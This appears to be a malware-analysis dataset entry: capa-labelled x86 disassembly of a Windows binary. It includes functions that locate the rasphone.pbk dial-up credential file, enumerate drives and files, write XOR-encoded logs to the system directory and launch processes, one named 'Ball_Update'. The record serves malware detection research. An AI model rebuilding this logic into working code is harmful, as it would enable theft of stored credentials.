joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402910
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call fcn.0041b540
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x20]
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [0x43119c]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s___s
push ecx
call dword [0x43125c]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call fcn.0041ab8e
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x402a0b
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4029f2
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x4029cf
push ebx
call fcn.0041ab9c
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret
Function at 0x403960
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262c0
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.0041b5fc
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x403aba
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x403a0b
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x403a0b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4039e6
cmp al, 0x5c
je 0x4039e6
push esi
call dword [0x431258]
mov esi, eax
jmp 0x4039ce
cmp byte [esi], 0
je 0x4039ef
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403a04
cmp al, 0x5c
je 0x403a04
push esi
call dword [0x431258]
mov esi, eax
jmp 0x4039ec
cmp byte [esi], 0
je 0x403a2a
jmp 0x403a26
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x403a2a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403a2a
cmp al, 0x5c
jne 0x403a2a
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x403a80
cmp al, 0x5c
jne 0x403a72
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x403a65
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403a6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403a6f
push edi
jmp 0x403ab2
and eax, 0x10
cmp al, 0x10
je 0x403a6f
push edi
jmp 0x403ab2
mov byte [esi], 0x5c
push esi
call dword [0x431258]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x403a30
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.0041b736
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0041b736
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403ae0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call fcn.0041b900
add esp, 8
test eax, eax
jne 0x403b24
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [0x43111c]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x403b51
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [0x431120]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [0x431124]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [0x43125c]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x403bd0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x6c]
push 0x42b1b4
push edx
call fcn.0041b400
add esp, 8
test eax, eax
jne 0x403c4d
lea eax, [esp + 0x6c]
push 0x42b1b0
push eax
call fcn.0041b400
add esp, 8
test eax, eax
jne 0x403c4d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x42b1ac
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x403c5c
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x403c8b
mov dword [esp + 0x30], str.IinSta0Default
mov byte [str.IinSta0Default], 0x57
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x403d30
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x403ecd
push esi
push edi
jmp 0x403d8a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x431194]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x403e3c
cmp al, 0x42
je 0x403e3c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x403e3c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.0041b930
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.0041b930
mov dword [esp + 0x10], eax
jmp 0x403e42
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x403d88
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.0040adc0
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x404510
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x42507b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
push ebp
push esi
mov esi, dword [esp + 0x484]
mov dword [esp + 8], ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x270]
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
je 0x404562
mov edi, 0x42b1f0
mov dword [esp + 0x14], edi
jmp 0x40456e
mov dword [esp + 0x14], 0x431690
mov edi, dword [esp + 0x14]
mov ebp, dword [0x43125c]
push edi
push esi
lea eax, [esp + 0x278]
push str._s_s.
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x270]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
jne 0x4045ab
xor al, al
jmp 0x404720
push ebx
xor ebx, ebx
cmp byte [esp + 0x5c], 0x2e
je 0x4046fa
test byte [esp + 0x30], 0x10
lea eax, [esp + 0x5c]
push eax
push edi
push esi
push str._s_s_s
je 0x4045ef
lea ecx, [esp + 0x388]
push ecx
call ebp
mov ecx, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x378]
push edx
call fcn.00404510
jmp 0x4046fa
lea ecx, [esp + 0x180]
push ecx
call ebp
lea edi, [esp + 0x184]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
mov dl, byte [esp + 0x17]
push 1
not ecx
dec ecx
mov byte [esp + 0x20], dl
mov ebp, ecx
lea ecx, [esp + 0x20]
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00404fc0
test al, al
je 0x404659
mov edi, dword [esp + 0x20]
mov ecx, ebp
mov eax, ecx
lea esi, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x24], ebp
mov byte [ecx + ebp], bl
mov edx, dword [esp + 0x10]
push 0x18
mov dword [esp + 0x488], ebx
mov esi, dword [edx + 0x14]
mov edi, dword [esi + 4]
call fcn.0041ab8e
add esp, 4
cmp esi, ebx
mov ecx, esi
jne 0x40467c
mov ecx, eax
mov dword [eax], ecx
cmp edi, ebx
mov ecx, edi
jne 0x404686
mov ecx, eax
mov dword [eax + 4], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
mov dword [ecx], eax
lea ecx, [esp + 0x1c]
add eax, 8
push ecx
push eax
call fcn.00405210
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esp + 0x484], 0xffffffff
mov edx, dword [eax + 0x18]
inc edx
mov dword [eax + 0x18], edx
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x4046dd
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4046d4
cmp al, 0xff
je 0x4046d4
dec al
mov byte [ecx], al
jmp 0x4046dd
push ecx
call fcn.0041ab9c
add esp, 4
mov esi, dword [esp + 0x48c]
mov edi, dword [esp + 0x18]
mov ebp, dword [0x43125c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4045ae
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop ebx
mov ecx, dword [esp + 0x478]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x478
ret 4
Function at 0x4049e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.0040adc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x405570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 0x400
call fcn.0041ab8e
mov esi, dword [esp + 0x14]
add esp, 4
mov ebx, eax
mov ecx, 0x100
xor eax, eax
mov edi, ebx
push 0x42b26c
push 0x6c
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov eax, dword [esp + 0x14]
push 0
mov ecx, 0x41
mov edi, ebx
push 0x400
push eax
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.00405510
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4055e2
push ebx
call fcn.0041ab9c
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
pop edi
add eax, ebx
pop esi
pop ebx
ret

Function at 0x4055f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405644
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call fcn.0041ab8e
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.00405510
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4056af
push edi
call fcn.0041ab9c
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x4056c0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x14]
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebx, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
push 4
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 2
and ecx, 3
lea eax, [esp + 0x28]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
mov dword [esp + 0x10], 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x4057b8
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.0041ab8e
add esp, 4
mov edi, eax
test esi, esi
jle 0x4057e7
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x4057db
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x405b00
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x504
push ebx
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
mov ebp, dword [esp + 0x518]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x100
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x10]
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea ebx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..log
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
push 0x80
push 4
push eax
push 3
lea eax, [esp + 0x24]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test ebx, ebx
je 0x405c44
mov ecx, dword [esp + 0x51c]
push 0
push ecx
lea edx, [esp + 0x11c]
push 0x3ff
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405c3d
lea edi, [ebp + 1]
mov ecx, 0xff
lea esi, [esp + 0x114]
mov byte [ebp], 0x8e
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x504
ret

Function at 0x4065b0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [0x4321e4]
sub esp, 0x54
push esi
push edi
push str.TTTTTT
push eax
call fcn.00405570
add esp, 8
test eax, eax
je 0x4065d4
pop edi
xor al, al
pop esi
add esp, 0x54
ret
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call fcn.0041b900
mov esi, eax
add esp, 8
inc esi
jne 0x4065f0
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.00413a10
add esp, 8
test al, al
jne 0x406604
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov dword [esp + 0x18], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push str.Ball_Update
push esi
mov dword [esp + 0x48], str.IinSta0Default
mov byte [str.IinSta0Default], 0x57
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x406650
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x406753
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push 0x80000000
call dword [0x43111c]
test eax, eax
jne 0x406753
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [0x431120]
mov ecx, dword [esp + 8]
push ecx
call dword [0x431124]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x406753
lea eax, [esp + 0x64]
push 0x42b1b0
push eax
call fcn.0041b400
add esp, 8
test eax, eax
je 0x406753
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x10], 0x44
test eax, eax
je 0x406726
mov dword [esp + 0x18], str.IinSta0Default
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x54]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0
mov byte [ecx], 0x57
push 0
push 0
lea ecx, [esp + 0x80]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret